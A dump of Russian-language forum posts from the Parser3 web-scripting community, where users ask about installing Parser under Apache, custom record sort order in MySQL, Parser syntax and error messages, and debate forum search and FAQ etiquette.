"18074","возникла надобность поменять и потом еще будут перестановки строк в базе данных(строк пока 60, потом еще прибявятся).\
в таблице есть автоинкримент(id) и поля для номеров телефонов и ФИО.\
\
как реализовать возможность обработки парсером и/или мускулем фичи: \"вставить после\" или \"вставить перед\"???"
"18075","работаюший код: \
                                                           \
 ServerAdmin asd@asd.ru                   \
DocumentRoot /html                     \
ServerName asd.ru                        \
  ServerAlias www.asd.ru                 \
  ScriptAlias \"/cgi-bin/\" \"/var/cgi-bin/\"  \
  <Directory \"var/cgi-bin/\">                \
  AllowOverride ALL                                    \
  Options ExecCGI                                      \
  </Directory>                                         \
  <Directory /html/classes>            \
   Order allow,deny                                    \
   deny from all                                       \
  </Directory>                                         \
  <Files ~ \"\\.p$\">                                     \
    Order allow,deny                                   \
    Deny from all                                      \
  </Files>                                             \
  AddHandler parser3-handler html                      \
  Action  parser3-handler /cgi-bin/parser3/parser3     \
  directoryIndex index.html                            \
  ErrorDocument 404 /404.html                          \
  ErrorDocument 403 /404.html                          \
                                                             \
\
\
 это все вертится на внутреннем сервере, за безопасностью следи сам"
"18076","К сожалению на хостиге у меня нет возможности это сделать :( Нет доступа."
"18077","да, конечно, это parser2\
спасибо, разобрался"
"18078","http://www.parser.ru/forum/?id=18072"
"18079","<A CLASS=\"homepage\" HREF=\"http://asd\" ONCLICK=\"this.style.behavior='url(#default#homepage)'; this.setHomePage('http://asd'); return false\" >Сделать&nbsp;эту&nbsp;страницу&nbsp;стартовой!</A>"
"18081","Например, у меня была проблема:\
делаю все как надо, а он мне -  у вас плохие буковки в скрипте!\
Это следствие того, что парсер был с расширением *.cgi, а это расширение должен обрабатывать perl(в апаче так настроено) , вот и запускал перл парсера :) Лечится легко - меняется расширение parser3.cgi на что угодно.\
"
"18082","посмотрите на количество:\
  http://www.parser.ru/forum/?doSearch=1&terms=поиском+по+форуму\
так быть не должно.\
\
настоятельная просьба: перед публикацией своего сообщения поищите по форуму ключевые слова.\
\
если вы этого не сделаете совсем, или сделаете, но поленитесь разобраться — вы пытаетесь сесть на шею окружающим, что просто неприлично."
"18083","...я ввожу дополнительный столбец в таблицу БД (sort_order), по умолчанию при добавлении записи я заношу в это поле то же, что и в _id, а в случае необходимости меняю местами значения и записей в этом поле. ([url=\"/examples/comp/\"]см. мой метод[/url] set_last_insert_id)\
\
естественно, при выборке данных я пишу ORDER BY sort_order\
\
а _id, который auto_increment трогать не моги :)"
"18084","а просто:\
есть список лиц, он должен выводится в определенном порядке, и порядок может менятся, вот хочу узнать - как это реализовать?"
"18087"," если нет то http://www.parser.ru/forum/?id=18083"
"18088","на сколько я успел заметить(пол года всего с парсером:) народ очень часто наступает на одни и те же грабли.\
Самые частые (и самые вам надоедливые:) - это про установку на индейца. Там греблей всего несколько (я по-моему на все наступил:)\
\
вот и написать в faq\
 \
грабли 1| строка ошибки | метод лечения \
грабли 2| строка ошибки | метод лечения \
\
и дать в конце концов ссылку на faq по настройке апача\
"
"18089","т.е. есть более 50 записей и нет желания менять у всех номера и-за изменения 2-3.\
а если будут дублированные записи???\
я не хочу из-за 2-3 руками всю таблу перебирать."
"18090","при нажатии \"вверх\"  уменьшается order_id на 1  выбранной записи,  а у той, которая выше увеличивается."
"18091","пожалуйста, напишите ваш вариант?\
\
мы с радостью разумное включим в FAQ."
"18092","Последовательность действий:\
\
Закачал parser3.cgi под RedHat, установил 755, запустил его - выдал свою версию, все как положено.\
Закачал сопутствующие к нему файлы в cgi-bin\
\
Также закинул в www директорию файл для проверки раболы парсера (index.html)\
\
Создал и закачал .htaccess с таким содержанием:\
\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
 \
Зпустил http://pup.yamx.com/~vkcru/index.html и получил в браузере:\
\
Not Found\
The requested URL /cgi-bin/parser3.cgi/~vkcru/index.html was not found on this server.\
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request. \
--------------------------------------------------------------------------------\
Apache/1.3.27 Server at pup.yamx.com Port 80\
\
Лог почему-то не обновился. :("
"18093","А вот на Парсере можна или нет?"
"18095","на парсере:\
\
$js[<A CLASS=\"homepage\" HREF=\"http://asd\" ONCLICK=\"this.style.behavior='url(#default#homepage)'; this.setHomePage('http://asd'); return false\" >Сделать&nbsp;эту&nbsp;страницу&nbsp;стартовой!</A>]\
$js\
\
а вы понимаете чем парсер отличается от js?\
"
"18096","Сделал parser3.cg\
\
Поправил:\
\
Action parsed-html /cgi-bin/parser3.cg\
\
Ошибка в браузере:\
\
Not Found\
The requested URL /cgi-bin/parser3.cg/~vkcru/index.phtml was not found on this server.\
\
:((("
"18098","мне кажется, что твоя постановка задачи - вопрос времени, и перебивать руками записи никто не рекомендует:\
[code]\
alter table ... add column sort_order int(10) not null default 0;\
update ... set soort_order = ..._id;\
[/code]\
\
по умолчанию метод, что я описал, будет выдавать записи в порядке их добавления (т.к. для каждой записи sort_order = ..._id)\
\
если тебе потребуется изменить последовательность при выводе записи с ..._id = 10 (тут по умолчанию sort_order = 10) и ..._id = 11 (а тут sort_order = 11) просто поменяешь местами эти два значения.\
\
у записи с ..._id = 10 будет sort_order = 11, а у записи с ..._id = 11 - sort_order = 10\
\
я не касался способа замены. тут кому как больше нравится. кто-то делает стрелочки, кто-то - drup&drop записей. я описал как хранить в БД порядок произвольной сортировки записей."
"18100","Да, это все конечно хорошо. Но ведь данная тема уйдет скоро вниз. Придут новые парсечники) и не узнают об этом.\
\
Надо бы как то это все написать на видном месте или help, faq для форума."
"18101","я вижу в вашем тексте только:\
\
AddHandler parsed-html [b]html[/b]\
\
P.S. смотрю ответ: http://www.parser.ru/forum/?id=18096 , в котором сообщение об ошибке иное...\
\
и еще... вы уж определитесь, [b]как у вас сделано[/b]...\
иду: http://pup.yamx.com/cgi-bin/parser3.cg и вижу, что парсера там [b]нет[/b] (как впрочем нет и parser3.cgi)\
\
что вы ждете?\
\
вам предлагалось:\
1. описать что вы скачали.\
2. [b]подробно[/b] описать, [b]что и куда вы положили[/b].\
3. сообщить, какие вы назначили права на файлы.\
\
однако-же нет, отвечается только на первый вопрос (дальше не читаем?)\
\
тьфу, блин... я пас... другие, если у них сил хватит задавать по 100 раз один и тот-же вопрос, пусть помогают."
"18102","это я так пример привел :)\
\
вот тут глянь -\
http://www.opennet.ru/docs/RUS/apache/index.html\
и подумай"
"18103","фигню сморозилссс...\
\
$js[<A CLASS=\"homepage\" HREF=\"http://asd\" ONCLICK=\"this.style.behavior='url(#default#homepage)'; this.setHomePage('http://asd')^; return false\" >Сделать&nbsp^;эту&nbsp^;страницу&nbsp^;стартовой!</A>]\
$js\
"
"18104","Если вы как я, сидите на выделенке, то ВЫЖИТЬ можно, а если на мопеде то труба.\
\
Предложение - выводить + - n строк от найденного слова в теле сообщения\
\
\
(Математика простая\
 для того чтобы дождаться ответа в форуме требуется полторы две минуты,\
 для того чтобы найти ответ в архиве до получаса)\
\
Такчто как говорится Тайд или Кипячение - выбирайте сами."
"18106","неплохо было бы, чтобы поиск был как на яндексе :)"
"18108","нажимаю на вашу ссылку:\
http://pup.yamx.com/~vkcru/index.html\
вижу:\
[code]\
Not Found\
The requested URL /~vkcru/index.html was not found on this server.\
[/code]\
\
к слову сказать, parser'а в cgi-bin не наблюдается: \
http://pup.yamx.com/cgi-bin/parser3.cgi\
[code]\
Not Found\
The requested URL /cgi-bin/parser3.cgi was not found on this server.\
[/code]\
\
вот вы его пытаетесь назначать обработчиком, а сами куда положили-то parser3.cgi? пожалуйста, приведите полные дисковые пути.\
"
"18109","поскольку ряд вопросов имеют свои ответы на странице… http://www.parser.ru/\
\
:)"
"18110","наш сайт текстовый, я пробовал из подмосковья по модему, не испытал не одной проблемы, поэтому давайте придерживаться фактов.\
\
если кто-то думает, что легче спросить, чем шевельнуть извилиной, он… не уважает тех, кого спрашивает.\
\
2миша: вариант к рассмотрению, давай сделаем, чтобы вопросы становились видны в форуме через полчаса от их публикации…"
"18111","Может на гловной странице форума написать что типа - \"Поищите по форуму может это уже обсуждалось\"."
"18114","Тема сообщения очень часто не несёт полезной информации.\
\
В результах поиска отображается только тема\
Просмотреть 40 - 100 страниц сами понимаете занимает не мало времени. К стати время на модеме платное - от того люди и дёргаются."
"18115","если будете искать букву \"а\", то вам выдастся всё."
"18117","...только учтите я не обладаю вашими знаниями, а значит могу искать криво и не совсем то что надо (связано с банальной вещью одно и тоже можно выразть разными словами, выражениями, конструкциями ...)"
"18119","http://www.parser.ru/forum/?id=18060\
\
Как я мог найти ответ без помощи Миши?\
\
В моём мануале SQL нет этого\
Прямых способов сделать это Парсером я тоже не нашёл - хотя не исключаю что они есть\
Если я буду искать в форуме - поисковик меня непоймёт\
 "
"18120","Это мне посоветовали, вот я и менял.\
\
\
Пути и настройки на данный момент:\
\
http://pup.yamx.com/~vkcru/index.html\
http://pup.yamx.com/~vkcru/cgi-bin/parser3.cgi\
\
в .htaccess\
\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
В index.html лежит тестовый файл, взятый с вашего сайта."
"18123","найдите три отличия:\
[code]http://pup.yamx.com/cgi-bin/parser3.cgi[/code]\
я писал вам, что такого нет, вы не отвечаете\
\
[code]http://pup.yamx.com/~vkcru/cgi-bin/parser3.cgi[/code]\
ВЫ ПЕРВЫЙ РАЗ ПИШЕТЕ, ЧТО ПОЛОЖИЛИ, ОКАЗЫВАЕТСЯ, ЕГО ВОТ СЮДА.\
\
соответственно, положить в нестандартное место положили, а Apache'у про то не сказали.\
\
сами поправите Action, или пальцы за вас загнуть?"
"18124","ну что за детский сад, право."
"18125","ну разве что в вашем. что за документация?"
"18126","расширение FAQ поможет мало."
"18127","пожалуйста, приведите конкретный пример, когда вам была нужна морфология в поиске по форуму7"
"18128","со следующего понедельника временно недоступен."
"18129","тестирование подходит к концу, открываем, как только вернусь из отпуска."
"18131","Как мне казалось, выход двух версий сразу обусловлен возможной \"нестабильностью\" одной из них. Однако, затянувшееся на пол года тестирование сводит возможность нестабильной работы версии 3.1 к минимуму, при этом ставя под сомнение целесообразность выпуска 3.0008. "
"18132","Введение в SQL\
Мартин Грабер\
Перевод - Издательство \"Лори\" 1996г "
"18133","вы останетесь в неведении о многих вещах.\
\
скажем, в ANSI-SQL всё нечувствительно к регистру, в MySQL на unix имена таблиц чувствительны.\
и так далее."
"18134","... оно тут есть, просто не все умеют ей пользоваться :)\
\
например, если набрать в строке поиска фразу \"нестандартн авторезац\", то в результате мы получим темы по нестандартной авторизации во всех возможных падежах и склонениях.\
\
З.Ы. ошибка в слове авторизация оставлена преднамеренно, чтобы избежать ситуаций подобных [url=\"http://www.parser.ru/forum/?id=14943\"]этой[/url].  "
"18135","испльзовать [url=\"http://www.egoroff.spb.ru/portfolio/21.html\"]топологическую сортировку[/url], в частности на дополнительном поле хранить не порядковый номер записи, а идентификатор предыдущего сообщения (prev_id). "
"18136","Устанавливаю Parser под FreeBSD, вроде все поставил. Уже раньше ставил. Выдается ошибка: \
\
fopen: Permission denied\
[Wed Jul  2 17:43:33 2003] [error] [client 213.59.36.68] Premature end of script\
\
На что похоже, уже падаю, не знаю что там.\
"
"18138","http://www.parser.ru/forum/?id=7758"
"18139","Желание помочь не читавшему FAQ, конечно, понятно и на первый взгляд является явно положительным. С другой стороны такие ответы имеют отрицательное воспитательное влияние. Человек видит, что на любой глупый вопрос ему ответят и задаёт такой вопрос."
"18140","На странице форума на видном месте (например в филдсете где кнопка [Добавить...])написать что-нибудь типа: \"Перед тем как задать вопрос настоятельно рекомендуем воспользоваться поиском по форуму, возможно ваша тема уже обсуждалась.\"\
\
Ну и в филдсете поиска, рядом с кнопкой [найти] можно поместить ссылочку типа \"[url=\"http://www.parser.ru/forum/?id=18140\"]что и как искать[/url]\", которая бы вела на страницу с подробными разьяснениями, где популярно изложено что искать (например поиск по актуальному сообщению об ошибке в большинстве случаев даёт прекрасные результаты, но многие об этом даже не догадываются) и как искать ([url=\"http://www.parser.ru/forum/?id=18134\"]>>>[/url])\
\
Вот такое вот предложение, на правах, собственно, предложения. \
Замечания, дополнения и критика - приветствуются. :)"
"18143","Вышли стабильные версии самых популярных браузеров среди веб-разработчиков. ;-)) \
\
Netscape 7.1 базируется на Mozilla 1.4. В качестве интересных новшеств, можно заметить поддержку IDN (international domain name), хотя у меня в mozill'е рбк.ru почему-то не работает... \
\
Предыдущие версии Netscape базировались на Mozilla 1.0, а с того времени в mozill'е было множество улучшений и дополнений:\
улучшена блокировка выскакивающих окошек и блокировка изображений;\
в почтовом клиенте добавлены фильтры от спама; \
появилась возможность изменение размеров просматриваемого изображения для того, чтобы оно помещалось на экране;\
теперь показывается иконка веб-сайта в bookmark manager и при tabs browsing;\
тщательно пересмотрен модуль управления закладками, в нём исправлено множество ошибок;\
и т.д. \
\
http://devedge.netscape.com/library/releases/netscape-7.1/\
[url=http://www.mozilla.org/releases/mozilla1.4/]Mozilla 1.4 Release Notes[/url]\
\
mozillaZine\
[url=http://www.mozillazine.org/talkback.html?article=3346]Mozilla 1.4 Released[/url]\
[url=http://www.mozillazine.org/talkback.html?article=3345]Netscape 7.1 Released[/url]\
\
Скачать:\
[url=http://www.mozilla.org/releases/#1.4]Mozilla 1.4[/url]\
[url=http://channels.netscape.com/ns/browsers/]Netscape 7.1[/url]\
http://ftp.mozilla.org/pub/mozilla/releases/mozilla1.4/\
http://ftp.netscape.com/pub/netscape7/english/7.1/"
"18144","Если в ФА-Ку добавлять много \"полезных\" записей, то придется делать факу \"как использовать факу?\".\
А если несколькими модераторами сделать подраздел с каталогизированными конструктивными тредами форума - получилась бы такая \"белая книга парсера\".\
А в форме ввода нового сообщения человеку предлагать поискать прямо из формы ввода сообщения.\
\
Хотя все это усложнение..."
"18145","Я работаю под Windows, устанавливаю на удаленный сервер.\
\
Закачан Parser правильно, потому что размер не изменился после закачки на сервер. Бит executable включил. В .htaccess:\
\
AddHandler parsed-htm htm\
AddHandler parsed-html html\
\
Action parsed-htm /cgi-bin/parser3.cgi\
Action parsed-html /cgi-bin/parser3.cgi\
\
# Если ошибка, то эту команду нужно закомментировать\
#CharsetDisable On\
\
Пробовал как включать CharsetDisable On так и отключать. Версия ОС думаю верна. На сервере FreeBSD 4.4, я скачал Parser для FreeBSD 4.7. Вот только я засомневался в момент когда увидел что WinRAR показывает внутри файла parser3_3_0_0007_sp1_freebsd47R_cgi_tar.tar файл parser3_3_0_0007_sp1_freebsd47R_cgi_tar, а не parser3.cgi. И я этот длинный перед закачкой переименовал в parser3.cgi. Аналогичная ситуация с конфигурационным файлом (parser3conf_20020802_unix_tar), я его переименовал в parser3.conf.\
\
\
В log все равно ошибка Premature end of script headers. Что еще может быть?"
"18146","[code]\
AddHandler parsed-html html htm # список можно продолжать\
Action parsed-html /cgi-bin/parser3.cgi\
[/code]"
"18150","Всмысле зачем писать :\
[code]\
AddHandler parsed-htm htm\
AddHandler parsed-html html\
\
Action parsed-htm /cgi-bin/parser3.cgi\
Action parsed-html /cgi-bin/parser3.cgi\
[/code]\
\
Если можно :\
\
[code]\
AddHandler parsed-html html htm \
Action parsed-html /cgi-bin/parser3.cgi\
[/code]"
"18151","\
http://www.parser.ru\
\
Левая колонка \"Свежее из раздела FAQ\"\
\
Второй абзац..."
"18153","направление \"Великий PAF- весь мир\" - временно не обслуживается :)"
"18154","я в линухах работаю, но суть такая:\
Кидай архив в bsd  и там распаковывай. Только что закачал и посмотрел - все там есть и parser3.cgi тоже"
"18155","Пара тройка золотых фраз (жаль золотом в форуме не печатает), которые должны как правила знать наизусть и повешать на плакате перед собой все без исключения участники форума.\
[color=\"red\"]1. Читайте документацию[/color]\
[color=\"red\"]2. Читайте FAQ[/color]\
[color=\"red\"]3. Изучите все примеры из раздела \"примеры\" даже если они вам не нужны в данный момент[/color]\
\
Про ошибки:\
1. Читайте ошибки\
2. Анализируйте ошибки\
3. Пытайтесь разобраться самостоятельно\
\
Самое главное в разборе полета (ошибок) не торопиться. Первым делом упростите пример до элементарных операций. Уже этот шаг возможно покажет в чем вы были не правы. Если долго работаете над одной проблемой, встаньте из-за компьютера, прогуляйтесь. Обычно после прогулки более свежий, незамыленный взгляд помогает решить проблему. (Рекомендация PAF-а)\
Отслеживайте синтаксис, 99% ошибок именно из-за него.\
\
4. Воспользуйтесь поиском для нахождения схожей задачи (проблемы), он вполне достаточен, чтобы найти ответ практически на любой вопрос.\
5. Нет ответа? Тогда задавайте вопрос.\
\
Про вопросы:\
Указывайте в заголовке тему, а не свое эмоциональное состояние.\
Траблы?, такая вот бага?, ошибка?, кто виноват?, что делать?, как быть?, с кем пить?, с кем спать?\
Это не заголовки. Заголовок должен хотя бы намекнуть про что идет речь. К примру: Ошибка в подключении к базе данных MySQL, ошибка в сохранение результатов из формы...\
Вопрос - если он сформулирован заголовком, нет смысла его повторять в тексте, если же нет, то вопрос задавайте более детально, с чувством, с толком, с расстановкой. Постарайтесь не писать сленговых (\"...я работаю под ишаком\" - ну и как, не давит?) и заумных слов (интерполяция). Этим словам практически всегда есть замены в русском языке. \
Если ваш вопрос касается кода, обязательно прилагайте его к вопросу. Не переоценивайте важность вашего кода, его уникальная, на ваш взгляд, конструкция уже не один раз кем-то написана.\
\
Вот собственно и все что хотел сказать. Полностью и целиком поддерживаю PAF-а."
"18158","$injpg[^file.list[${path};\\d\\.jpg^$]]\
должна вернуть список картинок(jpg) с цифровым именем.\
Так ли это?"
"18161","и ты точно пытаешься получить файлы с цифровыми именами, а не числовыми (несколько цифр в имене)?"
"18162","спасибо :) "
"18165","Помогите раздупляющемуся новичку с формами, они меня скоро сума сведут.\
\
Есть у меня форма а в ней десять полей типа <input type='text' name='nevagno'>\
Как мне проверить заполнение всех полей с посланием содержимого в базу MySQL? Запрос я знаю, но вот я не знаю можно ли вместо \
\
^if(def $form:nevagno){соединение и выполнение скрипта}, что-то типа:\
^if(def $form:nevagno,$form:nechego,...)\
И каков синтаксиз этого написания ???\
"
"18167","качаем парсер и ставим, воть что make выдает\
make[2]: Entering directory `/home/user/parser-3.0.0007/src/main'\
make[2]: *** No rule to make target `pa_common.@OBJEXT@', needed by `libmain.a'.  Stop.\
\
конечно я как непродвинутый *nix-оид привык типа \
1. ./configure\
2. make\
3. make install\
4. используем\
, как делается в нормальных забугровых пакетах, а у наших как обычно через попу все делается, как прикажете енто понимать? я конечно знаю что что-то не указал в configure, но хоть бы указали об этом в ридми чтоли, \
такие ошибки выпадали в : нормальной FreeBSD 4.4, полной Slackware 7."
"18169","Громадное спасибо!!_"
"18170","да такая же ошибка :("
"18172","поиск \"по ошибке\" рулит, сколько бы на него не гнали :P"
"18174","Есть ли у кого-нибудь пример, как написать на parser-e интернет магазин с использованием xml? Очень хочется посмотреть как работает xml. "
"18175","Мне бы тоже очень хотелось посмотреть как работает xml... А ещё мне бы хотелось чтобы там была удобная и простая система управления контентом, многопользовательская поддержка, поддержка разных языков, раздел для операторов по управлению заказами, форумы, голосования, система статистики... что ещё бывает? А! Галереи! Ну и пока хватит наверное... Ну и да, чтоб это было всё легко и просто настраивать, код чтоб был весь грамотно прокомментирован и чтоб ещё инструкция была. Мне бы её тоже хотелось бы посмотреть... Да, вот теперь пожалуй хватит, на первое время... Если у кого есть, это самое, киньте что-ли мылом (тут ещё говорят плиз-з-з)...\
\
Массаракш... тоска... \
\
P.S. Sorry... too black..."
"18176","хотя бы уж пример реализации корзины...."
"18177","всем спасибо, но даже скачанные CVS не хотят ставится, ни на фрюхе не на линухе, ошибки разные...\
после долгих 3-х часов мучения спокойно поставилось 3 нольноль...6 версия, вместо нольноль...7 :))"
"18178","собирал успешно.\
если сообщите детали, это поможет общему делу.\
\
важно: если взяли из CVS не позволять сработать встроенным в вашу систему auto*, поскольку они могут создать некорректные скрипты.\
\
потому,\
1. взяли из CVS\
2. touch *\
3. ./configure ...\
4. make"
"18179","Вы будете смеяться, но мне как раз не хватает вот этого самого, о чём subj. Своё пишется всё очень долго и в свободное от работы время и уже хочется чтобы оно когда-нибудь написалось, и вот если оно когда-нибудь напишется, то... милости просим, фри сорц рулит. А пока... увы, похвастать нечем. Отчего, собственно и тоска."
"18180","Помогите изменить этот тэг:\
<td align='center'><input type='text' name='fio' size='35' value='$SURNAMES'></td>"
"18185","Вот например:\
http://www.mals-e.com\
\
Да их -- куча...\
"
"18186","...потому что с идеей оживить парсер на сервере я пока завязал, и была другая -- чтобы он бегал хотя бы на локальной машине, а собранные статические файлы выкладывать на сервер.\
\
Но даже с этим -- на работе оно работает, а дома -- нет.\
Кончилось на сегодня всё -- четырьмя десятками html-файлов, которые редактировать -- замучаешься же. А как бы хорошо было с парсером.\
\
Т.е., в FAQ-е сильно не помешали бы примеры 3...4-х не самых очевидных в реализации сайтов (с MySQL-ом, без, с XML-ом и без), с выложенными исходниками.\
\
Да вот -- хоть parser.ru показать в исходных кодах в качестве примера хорошего программирования. Если он может быть в таковом качестве использован. :)\
(Т.е., мне-то -- точно помогло бы.)\
\
Про установку парсера на разных платформах тоже полезно было бы человеческие тексты увидеть. Не на крутых сисадминов расчитанные (пониманию этих доступна родная документация), а на рядового юзера, который html уже как бы не боится, а что куда выкладывать, как проверять какая версия и чего именно ранится у хостинг-провайдера, какова при этом типичная структура каталогов и содержание файлов, и что на что менять, вот про всё это -- сильно хотелось бы более понятных описаний в стиле пошаговой инструкции.\
\
\
...А повторение одинаковых вопросов означает всего лишь, что продукт становится массовым.\
Что нельзя не признать успехом. :)"
"18187","Случилась такая трабла.\
\
Есть код, который записывается в listen.phtml (phtml обрабатывает Парсер)\
\
$response:content-type[audio/mpegurl]\
\
^#23EXTM3U\
^#23EXTINF:4485,mix1.mp3\
http://где-то там/mp3/mixes/mix1.mp3\
^#23EXTINF:2608,mix slow.mp3\
http://где-то там/mp3/mixes/mix_slow.mp3\
\
Как можно сделать, чтобы при обращении к listen.phtml Выдавался этот код, только имя файла было с расширением .m3u?\
Файл должен начать загружаться/открываться\
"
"18188","Может так тебя устроит listen.phtml/mixs.m3u"
"18189","Ищет не index.html а mixs.m3u . /index.html/mixs.m3u"
"18190","Выдаёт ошибку:\
\
read failed: No such file or directory (2), actual filename 'e:/wwwroot/music/listen.phtml/play.m3u'\
e:/wwwroot/music/listen.phtml/play.m3u\
\
user-request(1)\
"
"18191","Попробовал уже в разных вариантах, не получается, и слэш в другую сторону, и знаки вопроса... нифига, мож кто сталкивался с проблемой"
"18192","Не красиво но работать должно"
"18194","Тоже самое, ничего не изменилось."
"18195","Вот пример всё нормально без глюков http://www.parser.ru/forum/?/mixs.m3u"
"18196","Да так то всё работает, только файл с таким расширением должен сразу начать загружаться, в коде mime даже проставлено, так он начинает открываться как listen.phtml, а надо чтобы было m3u, чтобы браузер сразу улавливал чем его открыть"
"18197","Я то думал тебе надо сэмитировать файл .m3u"
"18198","Так если я поставлю ;$response:download, то он потребует этот файл, а мне нужно из кода выдавать, то что там должно быть написанно"
"18199","Написал небольшой кусочек, исправил море ошибок, к этой неотносящихся, а эту найти не могу...\
\
[code]\
@CLASS\
forum\
\
@print_tred[]\
^MAIN:dbconnect{\
   $messages[^table::sql{SELECT * FROM forum_message, forum_message_body\
        WHERE forum_message.forum_message_id=forum_message_body.forum_message_id, forum_id=0, thread_id=0\
        GROUP BY forum_message.forum_message_id}]}\
<table width=\"100%\">\
^if(def $messages){\
^messages.menu{\
<tr>\
<td>$messages.title</td>\
<td>$messages.author</td>\
</tr>\
<tr>\
<td colspan=\"2\">$messages.body</td>\
</tr>}}{Бред собачий}\
</table>\
[/code]\
\
говорит он вот что\
\
[code]\
Unhandled Exception (Debug)\
\
/www/asha.pp.ru/html/forum/index.html(11:1): parse error, expecting `'['' or `'{'' or `'(''\
exception.type=parser.compile \
[/code]\
\
Строка 11 это\
[code]^messages.menu{[/code]\
при этом если я объединяю строку с 10, то ошибка указывает на туже строку.\
\
\
Ещё один вопрос - SQL запрос верно написан?"
"18200","1. Таблица не может быть без <TR> и <TD>. У тебя получаеться, что если переменная messages неопределена, то в браузер идет вот такая штука :\
<table width=\"100%\">\
</table>\
2. Логические скобки лучше писать логически {хотя бы чтобы было понятнее}\
3. Если парсер не ругается на SQL запрос, то значит он верный, так как он выше по коду, чем строка 11.\
\
Попробуй примерно так :\
[code]\
@print_tred[]\
^MAIN:dbconnect{\
   $messages[^table::sql{SELECT * FROM таблица\
        WHERE поле таблицы = чему-то ,\
        GROUP BY полю таблицы\
                        }]\
               }\
\
^if(def $messages){\
<table width=\"100%\">\
^messages.menu{\
<tr>\
<td>$messages.title</td>\
<td>$messages.author</td>\
</tr>\
<tr>\
<td colspan=\"2\">$messages.body</td>\
</tr>    }\
</table>\
}{\
messages - пустая\
}\
[/code]"
"18202","1. похоже синтаксис if у вас неправильный:\
[code]\
^if(логическое выражение){ \
   код, если значение логического выражения «истина» \
}{ код, если значение логического выражения «ложь» } \
[/code]\
а надо так:\
[code]\
^if(логическое выражение){ \
   код, если значение логического выражения «истина» \
}{ \
   код, если значение логического выражения «ложь» \
}\
[/code]\
ну и where_definition в SQL-запросе сомнительный, лучше так:\
[code]WHERE что-то AND что-то AND что-то ORDER BY ...[/code]\
а ещё 'SELECT *' - это плохо (неочевидно, а иногда и избыточно). \
"
"18203","Наверняка я сам дурак, проснусь разберусь, а пока всем до завтра."
"18204","А пишет что? Тоже самое с ^menu{} ?"
"18205","очень надо..."
"18206","1. Парсер Вам указывает, что ошибка в /forum/index.hml, а не в файле с классом [есть  подозрение, что класс у вас не в index.html лежит :)].\
2. Конструкцию ^if(def $messages) лучше заменить на ^if($messages) поскольку в первом случае производится проверка существования объекта [при этом таблица может быть пустой!!!], а во втором проверяется наличие в таблице записей..."
"18208","mod_rewrite"
"18209","[code]\
$response:content-disposition[\
    $.value[attachment]\
#    $.value[inline]\
    $.filename[какое нужно]\
]\
[/code]"
"18210","она def, когда в ней есть записи. тут мы отличаемся от perl.\
\
общий же совет правильный: меньше лишних слов, а больше дела.\
def вообще нужен только чтобы проверить, пуста строка или нет чуть изящнее, чем «… ne ''»."
"18211","Хотя в нём тоже есть, попытаюсь разрулить, если что ближе к вечеру обращусь.\
\
ps Я же говорил что мне надо выскаться ;)"
"18213","свежемясо и на сорсфорж, пишешь в поиске DHTML EDITOR.\
\
...и было ему счастье, ибо чудо сие велико есть и дай бог OPENSOURCE здоровья."
"18214","поскольку не все окружающие одинакого сильны в соответствующем сленге."
"18215","имею такой код:\
[code]\
$r[^table::create{from	to\
:-)	<img src=\"/smiles/smile.gif\" alt=\"смайлик\">\
:-(	<img src=\"/smiles/sad.gif\" alt=\"смайлик\">\
;-)	<img src=\"/smiles/wink.gif\" alt=\"смайлик\">\
:-|	<img src=\"/smiles/neutral.gif\" alt=\"смайлик\">\
8-|	<img src=\"/smiles/eek.gif\" alt=\"смайлик\">\
:-\\	<img src=\"/smiles/confused.gif\" alt=\"смайлик\">}\
]\
$text[^text.replace[$r]]\
[/code]\
для смайликов.. под виндой локально всё нормально, а под FreeBSD|CGI во-первых, [nameless] не работает (пишет create ... accepts maximum 2 parameters), а если делать так, то смайлик :-) заменяется на wink.gif и перед ним стоит двоеточие.. т.е. :[а здесь картинка wink.gif].\
\
В общем, чудеса какие-то. Может кто-нибудь объяснить?"
"18216","Хороший совет"
"18217","\
http://freshmeat.net\
\
http://sourceforge.net"
"18218","но главное не это: функция replace хороша, когда при замене текст удлинняется не очень сильно.\
\
ваш replace потребует огромного буфера под результат, поскольку parser оптимизирован здесь по скорости: выделяет буфер под…максимально возможное увеличение.\
\
в данном случае куда эффективнее будет правильно написанный regexp.\
\
впрочем, в простых случаях, и на недлинных кусках…\
\
\
не знаю, почему вы решили, что где-то этот код работает правильно."
"18219","забыл просто о точке с запятой как о разделителе переменных. \
\
а разве одним regexp-ом можно все смайлики сделать? или последовательные match-и (для каждого смайла) тоже будут эффективнее replace?"
"18220","Работает в Mozilla начиная с версии 1.3b и частично в IE 5.5 [ [url=\"http://www.parser.ru/forum/?id=14502\"]>>>[/url] ]\
Также есть подозрения, что должно работать с новым Netscape [ [url=\"http://www.parser.ru/forum/?id=18143\"]>>>[/url] ]  "
"18221","и не надо их бояться: при разумном использовании — чрезвычайно полезное средство.\
\
насчёт\
[quote]не решил[/quote]\
пишете\
[quote]под виндой локально всё нормально[/quote]\
это ведь не соответствует действительности :)"
"18222","вод виндой всё работает и без ^;\
вот в чём странность."
"18223","давайте отложим, а вы потом разберётесь в «чудесах». \
\
если будет не лень, потом, пожалуйста, расскажите тут."
"18228","Спасибо за AND с ни бы я ещё долго мучался ;)"
"18231","Unhandled Exception (Debug)\
Key column 'ix_forum_message_6' doesn't exist in table\
